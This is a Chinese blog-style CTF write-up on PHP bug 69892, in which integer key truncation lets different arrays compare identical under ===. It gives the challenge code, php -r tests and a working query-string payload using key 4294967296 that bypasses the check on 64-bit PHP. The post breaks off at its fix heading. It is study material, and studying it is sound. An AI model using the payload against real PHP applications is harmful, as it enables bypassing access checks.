PHP 不同数组之间比较由于整数键截断导致结果相同

漏洞简介

漏洞标题:Different arrays compare indentical due to integer key truncation

漏洞来源:https://bugs.php.net/bug.php?id=69892

影响组件: PHP

影响版本:5.4.0 - 5.4.43, 5.5.0 - 5.5.26, 5.6.0 - 5.6.10, 7.0.0alpha1

实例说明

题目

用一个 CTF 题目来说明一下上面的这个漏洞,顺便记录下 CTF 的一类题

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$flag ="medicean"; // 正常情况下 flag 不会出现在这里

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>

说明:

题目中 xxoo 部分,原题是 (string)time.time(), 为了方便,我就直接改成一个字符串了。

题目分析

我们直接看后面 if 中的判断逻辑:

  • $_GET[‘user’] 是一个全局的变量,我们传的是字符串,它就是字符串,传的是数组,那么它的值就是数组
  • $user 是一个数组, [0 => ‘admin’, 1 => ‘xxoo’]
  • === 三个等号的意思就是类型是同一类型,并且值也是相同的
  • $_GET[‘user’][0] 的值不能等于 ‘admin’

也就是说,如果要使这个 if 条件成立,就必须让两个键值不相等的数组经过 === 比较后返回 true。

然后我们测试:

1
2
3
4
5
6
7
8
➜  ~  php -r "var_dump([1=>0]==[1=>0]);"
bool(true)
➜ ~ php -r "var_dump([1=>0]===[1=>0]);"
bool(true)
➜ ~ php -r "var_dump([1=>0]==[2=>0]);"
bool(false)
➜ ~ php -r "var_dump([1=>0]===[2=>0]);"
bool(false)

这不扯淡嘛!

然后我们再来看我们这个漏洞:

1
2
➜  ~  php -r "var_dump([0 => 0] === [0x100000000 => 0]);" 
bool(true)

键名为 0 的数组与键名为 0x100000000 的数组居然相等了!

也就是说:

1
2
3
$user : [0 =>'admin', 1=>'xxoo'];

$_GET['user']: [0x100000000 =>'admin', 1=>'xxoo']

这样就能使题目当中的条件成立。

构造 payload :

1
http://localhost/test.php?user[1]=xxoo&user[4294967296]=admin

2^32 == 0x100000000 == 4294967296

由于是截断漏洞,所以 0x100000000 后面再多几个 0 也是可以的,适当转换成对应的 10 进制数就好

测试结果

发现在 32 位 PHP 上并不能成功,只能在 64 位 PHP 上测试成功。

于是我们使用 var_dump 来看一下每个变量:

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$user = ['admin', 'xxoo'];

echo 'var_dump($user):<br/><br>';
var_dump($user);

echo '<br><br>var_dump($_GET["user"]);<br><br>';
var_dump($_GET['user']);

echo '<br><br>var_dump($_GET["user"][0]);<br><br>';
var_dump($_GET['user'][0]);

echo '<br><br>var_dump(($_GET["user"] === $user));<br><br>';
var_dump(($_GET['user'] === $user));
?>
  • 在 32 位 PHP 上测试结果:

  • 在 64 位 PHP 上测试结果:

结果一目了然,32位 PHP 上,会把 user[4294967296] 中的 4294967296 在接收后解析成字符串,而 64 位则会解析成整数。

扩展知识

如何判断自己的 PHP 是 32 位还是 64 位的?

1
2
3
4
5
6
7
8
9
10
11
<?php
if (PHP_INT_SIZE == 8){
echo 'if 64-bit version of PHP';
}
else if (PHP_INT_SIZE == 4){
echo '32-bit version of PHP';
}
else {
echo 'PHP_INT_SIZE' . PHP_INT_SIZE;
}
?>

官方修复方案